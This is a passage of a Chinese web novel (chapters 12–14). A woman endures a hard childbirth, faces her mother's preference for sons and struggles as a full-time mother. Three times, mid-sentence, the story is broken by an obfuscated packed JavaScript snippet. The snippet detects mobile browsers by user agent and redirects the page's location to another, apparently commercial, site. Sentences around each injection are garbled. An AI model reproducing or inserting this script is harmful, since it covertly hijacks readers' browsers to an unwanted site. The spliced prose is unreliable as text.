电话中她一连用了三个“特意”,“我‘特意’在老家给你买了30个土鸡蛋,这鸡蛋都是纯家养的,品质很好。我‘特意’先拐去你家看你。我‘特意’没等老家房子全部完工,提前赶回来……” 好以此证明她的重视。 姚舒云觉得无奈又很想笑,母亲似乎总是这样,你想要的从不给你,等你不需要了,她又把一些东西硬塞给你,好以此证明她还是很关心你的,全然不提先前的冷漠和无情。 就像你喜欢吃苹果,她却非要一厢情愿地给你塞个橘子,还自我沉醉地说:“看,这橘子多好多有营养,我对你多好啊!” 你要是说不喜欢橘子,她则会说:“那你喜欢什么?想要什么?” 真要说了就是你不懂事,不体谅,不知好歹。 所以很多时候,她只能接受,而且还不能有丝毫不开心,否则就是狼心狗肺——对你好,还反而不感恩。 更何况见面三分情,原先姚舒云心中还有些不快,在见到母亲的那一刻,也都消散不见了。 她没法怪罪母亲,或者对母亲有什么怨言,她是当女儿的,母亲含辛茹苦生养了她,她怎么可以,怎么能生妈妈的气呢? 只是她不知道为什么母亲从不肯听一听自己的心声。她不想要“橘子”啊,那30个土鸡蛋对她来说,聊胜于无,她只是想在最脆弱无助的时候,有妈妈在身边。 很快到了年底,母亲闵佳荣和儿子儿媳一大家子人,一放假就驾车全家齐刷刷回老家去了。 今年老家盖起了崭新的大6间新房,院里宽敞,窗户明亮,从视频中姚舒云看到曾经自己年幼时心心念念的新房子,终于在自己离家多年后盖起来了。 “要是奶奶活着该多好啊!”姚舒云情不自禁地念叨。 那些年她和奶奶相依为命,住在家里墙壁开裂、四处透风的泥坯房里,总担心有一天房子会不会塌了。 那时奶奶总会笑着说:“要是塌了就砸我身上,刚好省了棺材钱。” 奶奶一辈子也没住上过好房子,只在临死时,被大伯接到自己家照顾十几天,之后,便离世了。 “哎,要是奶奶也能住上这房子,该多好啊!”姚舒云再次念叨。 随后对老家的回忆渐次清晰起来。 这是她的故乡,她生在这里,长在这里,这里的一事一物都曾见证过她的成长,伴随她一起长大。 她年幼时所有的喜怒哀乐、悲欢离合、迷茫无助……都幻化成缕缕轻烟,发散在四周。 所以时至今日,老家的一点一滴,甚至连空气中的悬浮颗粒,以及脚下的细末尘埃,都仿佛鲜活起来,像是被融进她的血液皮肤里。 所以思念排山倒海而来,自然而然地,不由她控制,这种深入骨髓的滋味叫游子思乡情。 然而,除了看一看手机视频通话里的那一方小小屏幕外,她再也没有任何其他途径可以看到老家的模样。 姐姐姚燕举着手机,兴奋地给姚舒云展示母亲在老家新盖的房子,她深知姚舒云对老家的浓厚感情,安慰道:“你现在快生了,不能回来。等明年你的孩子出生了,也快一岁了,挺大的了,到时候你们一家再回来。咱妈的房子盖得可漂亮了,卫生间洗澡间都是分开的,而且还有热水……” 姐姐滔滔不绝,姚舒云却一言不发,她看似盯向屏幕,其实思绪早已跨越万水千山,飘向千里之外。 就像灵魂离开躯体那样,她不由自主地畅想老家的一景一物,仿佛自己真的置身其中,甚至能清晰地呼吸到空气。 那微潮清冷的,那暖意洋洋的、那充斥着声音喧嚣、却又无比宁静阔远的气息,都让她有一种久违的熟悉感。 不知不觉,她竟湿了眼眶。 “下一次,我一定要回老家。”姚舒云在心里暗暗发誓。 她已决定明年过年,无论怎样都要回去,到时候提前打包好行李物品,抱着孩子,带上丈夫,一起回老家去。 她要向丈夫介绍自己长大的地方,跟他说年幼的自己遇到的那些事儿,以及青春期时的自己那些苦闷的、彷徨的,压抑的情感…… 她还要去奶奶坟前,为她焚烧纸钱,跟她说说话…… 她有很多很多想做的事儿,她很想很想回老家。 —— “要不是为了你,我高低得等过完正月十五再回来。”闵佳荣一下车,就向等在外面的姚舒云嗔说道。 母亲说生孩子会陪在这里,姚舒云心里很暖,再怎样,母亲也还是爱她的。 “医生说羊水少,过年那天我和豫林都还在医院里输液,这几天还得去复查,要是羊水还少,就得住院生了。” 除夕夜那晚,输完液,检查羊水恢复一些后,两人跟医生告了假,从医院回家囫囵个地做了顿晚饭,权当是年夜饭了。 “嗯,就是怕你不知啥时候生了,所以我一过完年,提前几天就过来了。” 闵佳荣边说边从车里拿出大小包裹,被身旁女婿周豫林一一接过,她牵着孙女,和女儿姚舒云一起,往家里走去。 眼下刚过完年,大家都还沉浸在过年的气氛里,节日的烘托,令母女间久违的见面,倍感温馨。 尤其是姚舒云马上要生了,一条新生命即将诞生,初为人母,她心里满是开怀。 此刻哪还记得什么过去嫌隙,几人在温暖的大房子里,言笑甚欢。 有母亲在身边陪伴,姚舒云对即将来临的生产的担心也少了许多。 第二次检查,羊水仍然偏少,主任医师下令催生。因为胎儿已足月,但还迟迟未发动,为避免意外,催生是最佳选择。 闵佳荣显得有些忧心忡忡,她说“催生很痛苦,而且孩子还是自然发动地好。人常说,‘果熟蒂落’,孩子长大长熟了,自然就会生出来。” 可她总归也只是担心,不敢违拗医生建议,姚舒云夫妇俩更是新手,完全没有任何想法,最终他们决定听从医生建议:催生。 头一晚的塞水囊已令她痛苦万分,生不如死,哪知第二天躺在产床上,姚舒云才知道昨天的“前奏”,只是小儿科。 她浑身冷汗直冒,每一次宫缩来临时,腰部的酸痛像是被千万斤磨盘碾过,那种酸胀令她竭力想要弯曲,可是腿却被要求最大限度地打开,搁置在产床两侧架子上。 □□几乎要被撕裂成两半,还要不适承受医生的“指检”折磨。 更糟糕的是,先前开指还不那么疼痛时,她拒绝了吃点东西的建议,导致她已经连续十几个小时没吃过东西,可开指才开了不到一半…… “你快点啊!用力啊!都这么久了,连个头发丝都没见!时间要是再长,会把孩子憋坏的!”生产医师已经没法保持克制,冲姚舒云大声嚷道。 眼看身旁的产妇接二连三生出孩子,不时地“呱呱坠地”声响起,可姚舒云这里仍然停留在开指阶段。 她努力!使劲!可好像怎么样都使不出力气,即便咬碎牙齿,拼榨出一身力气,可却又总是用不对地方。 她感觉自己……她已经感觉不出自己是什么滋味了,她觉得哪怕是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404818|200449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条开膛破肚、洒满酥盐佐料,等待上火架炙烤的鱼,或者是拔光了脖子上的毛,等着引颈赴死的鸡,也绝对比现在的自己好一千一万倍! 像是无边地狱,她每一分一秒都在煎熬,却不知什么时候是个头。 以前痛苦无助路难走时,她总会告诉自己,没关系,再难的路,也会走完,无非是多费点时间。可时间本来就是浪费的啊,不管怎样难,它总是过去。 不管怎样,天总会亮。 只要走下去……只能走下去…… 可这一次,她觉得不行了,她真的已经用尽全部力气,她真的已经拼尽全力。 每一秒都是痛苦,身体极致的痛楚,令她生不如死,她不知道何时是个头,不知道自己能不能跨过这道坎。 “你用力啊!用……哎,算了,看你是真没劲儿了。”主治医师赶紧跑去找同事,来商量解决办法。 很快姚舒云床边围了一堆医生助产士,大家在指点议论,“要不行,还是拉去剖吧。产程太长了,担心孩子会出问题。” “我看下,哎,好不容易十指刚开全了,这要拉去剖,得受两茬罪。” “那没办法,再拖下去,难保不出意外。” …… 医生、护士你一言我一语,姚舒云感觉自己就像被开水烫过,拔光了毛的一只鸡,被钉在十字架上,供人观赏、点评。 哪还有什么羞丑、尊严可言。 也不知是谁提了句,“再试试吧,让小林来,他是男的,力气大。来,小林,摁肚子,这产妇是没一点力气了,你帮忙摁下肚子,我来给会阴处剪开一点。” 然后一个医生站在姚舒云面前,说:“我要把你下面会阴处剪开一点,到时候摁肚子时你配合一点。咱们争取把孩子生出来,这样你也不用再去剖腹产受二茬罪。” 姚舒云无力地点点头。 紧接着,身体被剪开的痛感传来,然而与生孩子的痛比起来,肉被剪开的痛反倒不怎么痛了。 “来,一二三,我说用力,你就使劲啊!”医生一边嘱咐姚舒云,一边同身旁的男医生说:“待会你看准时机,摁肚子,咱们争取快点把孩子生出来。” “来,一二三,用力!” “用力啊!” “用力啊!快点啊!你快使劲啊!” 一连试了三四次,姚舒云憋足力气,眼球几乎都要炸裂了,可结果……仍未能如愿。 “算了吧,还是不行。送她去手术室吧,给她做剖腹产手术。” 那医生擦擦额头的汗,对身旁人说道。 姚舒云心里升起一股绝望,可此时的她,心里却没什么波澜,一只濒死的鸡,再多捅几刀,也没什么所谓了。 就在这时,姚舒云隐约听见有人说:“X主任你下班了……对,我们也快了……这还有个产妇,产程时间挺长的了……人已经没力气了,开指倒是开全了……” 紧接着,一个护士模样的人走过来,跟姚舒云说:“你今天挺幸运,刚好碰上我们主任X医生下班。她要过来看看,帮你一下。” 随后一个年纪稍大些的妇人过来,带上手套,替姚舒云检查了一下,随后在她肚子上摸了摸,说:“孩子胎位有些不正,我帮你调整了些,然后下面我又剪开了一些,你试着恢复些力气。待会我摁你肚子,让你用力,你一定要铆足劲不能松。” 她先是摁,姚舒云使力,然而还是不行。 “十指开全了再送去剖,有点可惜。小林,你过来,帮忙一起摁。”然后医生妇人对姚舒云说:“这次我们三个一起用力,你记住,憋足口气,千万别松!” “来,一二三,用力!!!” 姚舒云死死憋住一口气,全身的每一个细胞似乎都跟她一起鼓足气用力……全凭意念在支撑……最后她脑中一片空白,耳边什么也听不见了。 她晕死过去,不知过了有多久,也许仅仅是几分钟,姚舒云眼前的世界重新出现,她听到身旁有人在抱孩子擦拭,有人在给她缝合下/体伤口,有人在整理污/秽…… 医生护士一如既往地说话做事,说说笑笑,甚至还讨论起下了夜班早餐去哪儿吃,很是轻松愉快。 而她,却是经历了一场生死。 12. 孩子(4) “哎,舒云也生了个女孩儿。” 姚舒云起床慢慢踱到厕所,她本要拧开门把手,隐约中听见母亲的声音,侧脸从门缝中看过去,见母亲正在走廊里给父亲姚志高发语音。 紧接着,是语音消息回复的声音。闵佳荣点开语音,只听丈夫姚志高略带睡意地说道:“生了就好,生了就好。我刚下夜班,还没回去,现在去骑车。” 随后母亲收起手机,往病房里走。 姚舒云见状,忙拧开卫生间的门把手,闪身进了厕所。 坐在马桶上,她不由得回想起在产房里,医生告诉她“你生了个女孩儿”时,内心难言的失落与怜惜。 她清楚地记得几年前,侄女梦梦出生那天,她和母亲等在产房外,当护士抱出孩子,告知家属是个女孩儿时,母亲眼里涌过难以置信的神情。紧接着,整个人几乎是瘫在椅子上。 “犹如一只饱胀的气球,忽然被针扎泄了气一样。”姚舒云曾这样形容过母亲当时的状态。 闵佳荣极度重男轻女,在她心中,男性天生尊贵,代表着面子和尊严。可以说,在她心中,一个人过得好不好,有没有本事,相当大程度上取决于她/他,有没有儿子。 村里有一个男性,家境贫寒,却依靠自身不断努力,考上了国家公职人员,后来官运亨通,一路升至某局局长,可以说彻底改变了此生命运。 然而却“不幸”第二胎仍然生了个女孩儿,且因为妻子在生产时身体极度损伤,此生不可能再生育,也就是说他这辈子只能有两个女儿了。 有一次,闵佳荣和姚舒云提起,说自己在老家盖房子时,遇到那男子的母亲,言谈间很是伤怀,说自己儿子只有女儿,运气差了些。 紧接着,她不无“惋惜”地说:“他这一生啥都好,就是没个儿子,终究不是那么回事儿。” 而同村另一户人家,男人一辈子窝囊老实,被人瞧不起,媳妇眼睛几乎全瞎,屋里常年乌烟瘴气,乱七八糟,难以落脚。却因为儿子一连生了两个孙子,而被闵佳荣不无羡慕地笑谈道:“他当真是运气好,老辈人积了德,回报在了儿孙身上。” 姚舒云只觉得荒谬可笑。 哪怕你再有本事再发达,没儿子,就“不是那么回事儿”;可哪怕你再窝囊再没用,有儿子,且有大于等于两个儿子以上,你就是运气好,有福报。 极端的时候,姚舒云甚至讥诮地想,如果有可能,母亲说不定真的会把男性的生殖器摆上供桌,日夜焚香摆果,顶礼膜拜。 一想到这个画面,她就忍不住笑出声来。 可是,没想到打脸来得如此快,当生下孩子被告知是个女孩儿时,姚舒云内心竟涌起一股不可名状地巨大失落。 当时她第一反应就是“为什么我没能生个男孩儿?要是我生的是男孩儿,那我妈该多高兴。我在我妈心里的分量也会重很多,而且我妈肯定也会另眼看我了。” 她从来都不知道,潜移默化里,她竟然如此渴望得到母亲的认可和赞许,而讽刺地是她一向在母亲这里追求性别平等,追求和弟弟同等的对待。 姚舒云叹口气,感到生活真是一场莫大的讽刺幽默剧,让人哭笑不得。 刚缝合过的□□,每一寸肌肤,每一个细胞都疼痛地“嗷嗷”叫嚣,丝丝缕缕,清楚地传至全身。 姚舒云忍住痛,随之而来的是满心的怜惜蔓延,硬生生将眼泪逼出眼眶。 一想到自己的女儿以后也将要遭受如此生产之苦,姚舒云难受到哽咽。她泣不成声,又唯恐外面的人听到声音,于是打开一旁的水龙头…… 在“哗啦哗啦”地水流声中,姚舒云咬住嘴唇,来一场酣畅淋漓地无声痛哭。 —— 月子里,前半个月,丈夫周豫林有陪产假,由他每天哄抱孩子,给孩子换尿片洗屁股,夜里孩子哭闹也是他起来带,闵佳荣只负责帮忙做饭。 半个月后,他上班去了,母亲闵佳荣明显敷衍了很多,孩子尿了也不怎么勤换,还说“尿多一点也没关系,孩子是铁屁股,不用勤着换。” 孩子拉了,如果不是很多,也不想急着换,她总说“不要一尿了拉了就换,很浪费尿不湿。” 后来甚至到了孩子在夜里哭了闹了,也不想起来看,还说“孩子哭一哭没关系,哪个孩子没哭过,要是一哭就抱起来,很容易养成坏习惯,后面想放都放不下了。” 周豫林上班后,原本闵佳荣打算搬到主卧来,方便夜里照顾。 但为了母亲能不被打扰多睡会儿,姚舒云让她仍然睡在次卧,两人说好,当孩子夜里醒了闹了,由姚舒云打电话闵佳荣再过来。 哪知前一两晚还好,等到后面再打电话,母亲迟迟不接。 而眼见孩子哭得撕心裂肺,姚舒云只得自己起身,为孩子换尿不湿,或者抱起来哄。 往往这个时候过了一会儿,闵佳荣慢腾腾地起身过来,一脸的不情不愿,嘴里还总嘟囔些,“孩子不用看得那么矜贵,哭一会儿没事儿。” 紧接着又说“月子里,你不能老弯腰,要注意身体。” 说得多了,姚舒云也觉得母亲说得有些道理,孩子不能总抱,更不能一哭就抱,否则很可能真的会养成骄矜的性子,总会想让人抱。 于是姚舒云慢慢地也任由孩子哭闹而不管。 哪知这孩子就跟犯了倔一样,不抱她就一直哭一直哭,小脸哭到青紫红胀,刚开始姚舒云不忍心,听到她哭得厉害,还是将她抱起来哄一哄。 “哎呀,没事儿的,孩子哭一哭有什么关系?她整天没事儿,不就是躺躺、睡睡、哭哭吗?要搁过去,哪个孩子没哭闹过,要是都像你这样抱着哄来哄去,那还了得?不下地干活儿吃饭了?” 闵佳荣总这样在姚舒云身边念叨,时间长了,姚舒云觉得好像是的,孩子越抱似乎哭得越厉害,将她放在床上,任她哭,反而哭一会儿累了就睡着了。 接连几次孩子哭累后自己睡着了,姚舒云渐渐放下心来。 等到快满月时,也不知怎么了,孩子在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404819|200449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 床上哭得撕心裂肺,起先姚舒云和母亲闵佳荣各自抱着哄了一会儿,孩子仍止不住哭声。 “这刚换过的尿片,刚喂过的奶,到底哪儿不舒服,非要一直哭?”闵佳荣抱着哄了一会儿,之后对姚舒云说:“算了,不用多管,给她放床上,哭累了也就睡了。” 姚舒云也没太当回事儿,两人将孩子放床上,关上门去了外面。 哪知过了好半天,孩子还是在哭,全不像之前那几次,哭一会儿就睡了。 姚舒云不放心,进屋里查看,待到无意间翻开衣服,发现孩子的肚脐眼鼓个大包。 当即吓得魂飞魄散,立马叫来母亲,两人这才将孩子又重新抱起来,匆忙间赶去医院。 事后医生说孩子肚里有肠胀气,让多做做排气操,果然,孩子哭闹好了些。 倒是没太大问题,只是孩子肚脐眼一时半会儿下不去,鼓胀个大包,看起来触目惊心。 每当这个时候,姚舒云抱着怀里的小小婴孩儿,总会情不自禁地想“如果她是个男孩儿,待遇会不会不一样一些?会不会我妈就积极照料些?” 在满月后的第三天,闵佳荣收拾好包裹行囊,牵上孙女梦梦,借口家里有事,几乎是逃也似地赶紧离开了。 至此后姚舒云开启了独自带娃之路。 丈夫周豫林是个合格的新手爸爸,只要他在家,孩子就长在他身上,他总会很耐心地给孩子换尿片、洗屁股、哄抱睡觉,不让姚舒云插手,尽量减轻她的负担。 还会督促妻子出去逛街、购物、看电影、吃饭,让她保持心情开朗。 然而他再想帮忙,也只能是周末节假日搭把手,他要上班挣钱,各种花钱“大嘴”都等着嗷嗷待哺:家里老父亲的每月养老钱、每月雷打不动的房贷、孩子的奶粉尿不湿各类花销、以及一家人的生活支出…… 林林总总算下来,至少要7千块钱,而他目前的工资刚刚好能够覆盖住。 很多时候,他们庆幸房子买在了上涨前,要不然,每月至少要多两千块的房贷。 那足以压垮他们。 更多时候,都只能是姚舒云一个人摸索着带娃。 相较于辛苦来说,更多的是一份焦虑,她完全没有育儿经验,不清楚怎样才能把孩子带好,甚至时常担心孩子会不会突然怎么样了。 记得有一次孩子在身旁睡着了,她在一旁看手机,不知不觉也睡着了,不知过了有多久,忽然一下子惊醒。 忙四处找孩子,等找到了,发现仍睡得很沉稳,就像……就像没有呼吸一样。 意识到这点后,姚舒云一颗心瞬间揪紧,她颤抖地把手指伸到孩子鼻下,待确定有均匀的呼吸时,才大松一口气,彻底放下心来。 非为人母,不能体会这些荒唐可笑地举动。 后来姚舒云在说给丈夫听时,笑着说:“你说我咋这么傻呢,简直像神经病一样,单就怕孩子睡着了后会突然怎么样,所以有时候总要去确认下她的呼吸才放心。是不是像个大傻瓜?” 13. 全职妈妈(1) 孩子胖嘟嘟地,姚舒云为她取了个好听的名字,叫团团。 今天是3个月体检,一大早,夫妻两个抱着女儿来到社区卫生院,当医生给孩子做完体检,说出“身高体重都达标”时,他们悬着的一颗心终于放下。 犹记得刚满月体检时,孩子又瘦又小,出生一个月,愣是一斤肉没涨。 就这还不算,肚脐眼又鼓胀得厉害。 至此姚舒云再不敢放任不管,孩子一有哭闹,立马抱起来哄,在喂养上也更加用心。 这段时间,她几乎是衣不解带地细心照顾,周末时间换上周豫林,夫妻两人尽心竭力。好在皇天不负苦心人,两个月后的今天,团团体检一切正常,而且鼓胀的肚脐眼也已经下去了,除了比一般的孩子稍大些外,其他都没什么问题了。 望着丈夫怀里粉嫩可爱的小娃,正闭上眼睛睡得香甜,闻着她身上散发的奶香味,姚舒云心里全是喜悦和满足。 她忍不住捉起孩子的一只藕节般的小胳膊,凑在鼻前用力地吸了吸,然后又亲了亲,说道:“哎呀,我们小团团真给力呢。快快长,好好长噢。” 身体生产时遭受的创伤已慢慢愈合恢复,或许是人体本能地回避痛苦,姚舒云已经想不太起来在产房里是如何艰难地生产。 当下她的身体已恢复了六七成,原先怀孕时身体的笨拙和不自在,也在卸货后重新变得轻盈。 在照顾孩子上面,姚舒云也由最初的手忙脚乱、焦虑慌张,变得得心应手,游刃有余。 初期的孕吐,中期的忌口,晚期的耻骨痛,以及最后生产时的鬼门关一遭……然而这所有的辛苦,都在看到身旁小人儿时,烟消云散了。 她现在满心满眼里都是小团团,总会情不自禁地将女儿搂搂抱抱,感叹自己的孩子怎么会那么可爱。 生活渐次步入正轨,丈夫周豫林的工资又涨了些,产假还未结束,日常姚舒云带着小团团,两人住在大房子里,吃饭、睡觉、看电视,出去玩…… 盼着周末时,丈夫回来,一家人相聚。 除了有时累点,姚舒云对现在的生活很满意。 她再也没有“为什么不是男孩儿”的念头,日常推着孩子出去玩时,经常会给她指看天空:大片的蓝,纯粹的云,以及穿指缝而过的风,都是那么的令人沉醉和心动。 尽管孩子才几个月,还什么都不懂,但并不影响姚舒云对着她叽里呱啦讲话。 说来好笑,虽然身体上的当妈是从孩子出生的那刻算起,但心理上的当妈却是在第一次听到有人叫她“团团妈”时,才恍然发觉,原来自己是个妈妈了。 记得那天是周末傍晚,姚舒云去门口小菜场买菜,她正兴致高昂地走在路上,心里盘算晚饭吃些什么,要买些什么菜。 忽然听见似乎有人在叫什么,好像是在叫自己,姚舒云扭头四周看了看,发现并没什么人,于是怀疑自己是不是幻听了,紧接着继续赶路。 “哎,团团妈,团团妈……”直到有个年轻妇人从路旁的门店里出来,冲姚舒云招手,她才确信的确是有人在叫自己。 “啊,我……你……”一时间,姚舒云有些支支吾吾,不知道说些啥好。 “我叫你好多声了呢。你在想啥呢?这么入迷?” 这人是前几天带孩子出来玩时,碰到同样带娃的妈妈,当时她和姚舒云一起聊了很久,又互相交换了微信,约定好有空再带娃一起出来玩。 “我,我,”姚舒云有些不好意思地挠挠头,“我不知道你在叫我,‘团团妈’,‘团团妈’,我还是第一次听到有人叫我。不妨说实话,我半天都没反应过来。” 姚舒云捧着脸,不好意思地笑了,也就是从这一刻起,她才恍然觉得,“哦,我是妈妈了,我已经给别人当妈妈了。” 在这一刻之前,她还一直觉得自己是个孩子。 买完菜回来,姚舒云跟丈夫周豫林说起这件糗事,笑话自己怎么会那么后知后觉。 可是当她抱着怀中的团团时,一点都没有觉得自己是个“妈妈”。 妈妈,是那种高高在上,说一不二,不允许孩子有自己看法的人吗? 是那种不在乎孩子心里诉求,只生硬冷漠地拒绝的人吗? 是那种只一个眼神,孩子就吓得栗栗发抖的人吗? “不!不要!不是!” 姚舒云坚定地摇摇头,她不要做这种人,不要当这样的“妈妈”。 她心目中自己作为妈妈的样子,是一个能弯下腰认真听孩子说话的人,是一个孩子哭泣时会把她抱在怀里安慰的人,是一个可以互诉衷肠、像朋友般那样相处的“闺蜜”,而不是一个“妈妈”。 如果说有“妈妈”的成分,那这部分应该是“责任,分担和保护”,除此之外,她不想当妈妈。 她不想当一个“长辈”妈妈,一个付出一点便想着要孩子无尽感恩、索取,站在更高一层级,理所应当地用孝道禁锢、打压孩子的妈妈,她想当一个“平辈”的朋友,一个可以谈心、交流,一同成长,共同进步的妈妈。 “她就是她,是一个全新的、活生生的人!她是我的女儿,却并不属于我。她属于自己,属于未来,属于一切美好。” 姚舒云在心里默默念叨,她将孩子视作知己、朋友,用心跟她聊天、说话。 陪伴孩子长大的每一天都很充实,有意义。 唯一有些遗憾的是,工作没了。 原本姚舒云打算产假结束后,请人来照看孩子,自己继续上班。 社会上对一个受过教育,尤其是受过高等教育,最后却在家当全职妈妈的女性,很是歧视。 公众号文章、短视频、电视剧,以及电影,无一不在诉说当了全职妈妈脱离社会,最终职场难返的案例。 随便点开某栏女性视频,都有无数个女性现身说法,反复告诫年轻的女孩儿们、新手妈妈们,千万千万不要因为家庭放弃职场,过手心向上朝人要钱的生活。 “当你没了赚钱的能力,终有一天会被无情抛弃。” “贫贱夫妻百事哀,没钱不要谈感情,不值一提。” “有孩子后,生活一地鸡毛,整天围着灶台、孩子打转,付出所有,也得不到认可。” …… 这些言论无处不在,当下主流就是要女性独立自主,不可为家庭孩子束缚,姚舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404820|200449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云也难逃其中,不免焦虑,她相信周豫林人品,断不会轻易抛妻弃女。 “可,一年两年可以,三年五年可以,十年八年呢?” 饶是姚舒云再单纯,也知道结婚过日子不能单靠人品人性,这种看不见摸不着,只凭靠“良心”二字的东西,未知变数太多了,谁知道未来会发生什么? 然而正当她筹划要请人时,忽然一则刷屏消息令人心惊:一个保姆带着两岁的小女孩儿,由于疏忽,导致孩子从没有装防护栏的窗户处坠落。当场没了性命。 姚舒云当即抱紧了怀里的小团团,满是唏嘘和后怕。 恰在这时,公司没了。 这本是一个做老年人智能穿戴的科技创业公司,一直靠本地政府补助勉强存活。后期融到资后,开始大量铺排分公司和新项目,结果,因为没有明确盈利点,有股东抽资,公司瞬间陷入资金链短缺的困境中。 在挣扎几个月后,终于再也支撑不住,以老板逃离美国、资产拍卖而彻底结束。 新工作不好找,好的保姆人选更不好找,即便能找到,工资也高得令人咂舌,几乎就要上万了。 都快赶上周豫林的工资了,姚舒云上班工资不过才五千多,思来想去,觉得以她上班,来另找保姆带孩子的举动实在不划算。 夫妻两人商量许久,最终周豫林拍板,“先在家把孩子带到一岁后再说,不急着找工作。” 似乎也只能如此,姚舒云半是忐忑半是不安地继续留在家照看孩子。 然而很快她就发现,社会对全职妈妈的歧视几乎是无孔不入,无处不在。 小区里带孩子的大多是五六十的奶奶,或者是外婆,只有十之一二是父母。 原本那些同她熟悉,一起带过娃的老妇人们在得知姚舒云产假结束后也不能上班,要继续带娃时,看她的眼神,说话的口吻,都悄悄变了样。 她们总会不自觉提起自家儿媳妇或女儿上班,很辛苦或者是怎样,语气中有一丝难易察觉的炫耀和骄傲。 仿佛有份工作是多么令人骄傲的事情,是一个人有本事、有能力的象征。 除了年老退休的爷爷奶奶辈,有哪个年轻人会不出去上班挣钱,而窝在家里带娃的? 说白了,还不是没工作没能力,而不得不宅在家里带孩子? 更不要说身边亲戚们时不时地“提点”:“你不上班,光带孩子可咋办?” 甚至有一天,她接到了远在老家的大伯打来电话,一上来就问:“听说你不上班了,在家带孩子?” 姚舒云如实陈述了目前困境,大伯父连声叹道:“哎呀妈耶,上了这么多年学,白瞎了这么多学问,竟然最后只在家里带个孩子?” 然后接着说:“你爹你妈白供你这么多年了,到头来,啥用没有。呵呵……” 不知是不是自己多心,姚舒云总感觉大伯父的话里语气中明显带着讽刺。 她忙说:“孩子大点我就出去上班,不会一直待在家里,当下也只是权宜……” “好,行吧。”显然大伯父已没有耐心听她解释,匆匆挂断电话。 那一刻,姚舒云感觉到满满的被嫌弃。 14. 全职妈妈(2) 原本姚舒云心无旁骛地带着孩子,精心照顾,等周末丈夫周豫林回来,一家团聚。 日子过得平淡却也快乐。 哪知社会对全职妈妈的歧视竟比她想象得更为严重,这不免让她感到越发焦虑。 而且日子一天一天,几乎每天都是重复:买菜、做饭、洗衣、打扫卫生、给孩子换尿不湿,陪孩子玩、带出去遛弯…… 日渐单调且乏味。 翻看朋友圈,看到曾经的同学、朋友、同事,一个个生活多姿多彩,光鲜亮丽:晒游玩、晒证书、晒工资、晒奖励…… 似乎所有人都在进步,而只有她,原地踏步。 心底的不安渐渐膨胀,她觉察不到,只觉得自己脾气越来越大,动不动就和丈夫周豫林发生争吵,一点小事都能令她火冒三丈:衣服随手乱扔、纸团到处乱放、不主动做家务、也没有眼色,自己心情不好时也不知道主动哄哄…… 就连孩子,她也越来越失去耐心:怎么还不会自己吃饭?什么时候才能主动睡觉不用人哄?能不能不要一直黏在身上,自己去玩会儿…… 姚舒云越来越渴望有自己的时间,能做自己想做的事情,但她又不知道具体要做些什么:读书?写作?学英语?或者是精进本行业?可其实她并不喜欢设计行业,自认没有美术功底和审美修养。 听说自媒体很热门,万一要是哪条视频哪篇文章火了,混出名了,带货能赚不少钱。要不就拍视频,或者是写公众号?等账号做起来了就挂链接带货? …… 那一段时间,姚舒云几乎将网上浏览到的所有副业工种大都了解一遍。每一个看起来都很简单,很有“钱”途,等到实操时,才发现实际情况远非想象得那般容易。 单是一篇几百字的公众号文章,从构思、写作、到修改、排版,直至最后的发布,林林总总的时间加起来,少则两三个小时,多则六七个小时。 就是随手拍视频,也得有主题,有立意,还得有剪辑、配音、字幕等…… 往往她花费大量时间精力做出来满意的作品,最后只有寥寥三五个人阅读和观看。 产出和收获严重不匹配,其实这还算不上什么,更难得是要每日产出。 养账号贵在坚持,不能半途而废,而她不确定明天会发生什么:也许孩子感冒发烧,也许家里来客,或者是周末节假日要带外出游玩…… 她根本没法有大片的、自由的时间,来专心做一件事情。 天知道,单做这一点事情都是她牺牲了所有的休息时间,利用孩子睡觉间隙抽出来的。 她把自己搞得蓬头垢面、心力交瘁,然而却毫无进展和收益。 然而光是生活的一地鸡毛不算,还要遭受来自亲人的鄙视和嫌弃。 这天午后,姚舒云刚将孩子哄睡,强忍住困意,坐在书桌前,打开电脑,正要构思自己的作品。 忽然,母亲闵佳荣打来电话。 两人寒暄两句,紧接着,母亲说:“隔壁那家的残疾男人打我了,有没有什么办法曝光他?” 姚舒云这才想起,前几天姐姐姚燕提起过,母亲回老家盖房子,和邻居家发生了很大冲突,闹到最后警察都来了。 听闻母亲被打,姚舒云一个激灵,瞌睡消失得无影无踪,赶忙问道:“你受伤了?伤哪里了?严重吗?” “嗯,隔壁那个瘸腿死男人,用拐杖捣我前胸口,我现在感觉肺部这块儿有点疼、憋闷。”闵佳荣有些不甘示弱地说:“不过,哼,我也把他打了。” “啊?那你去医院看了吗?拍片了没?别大意……” 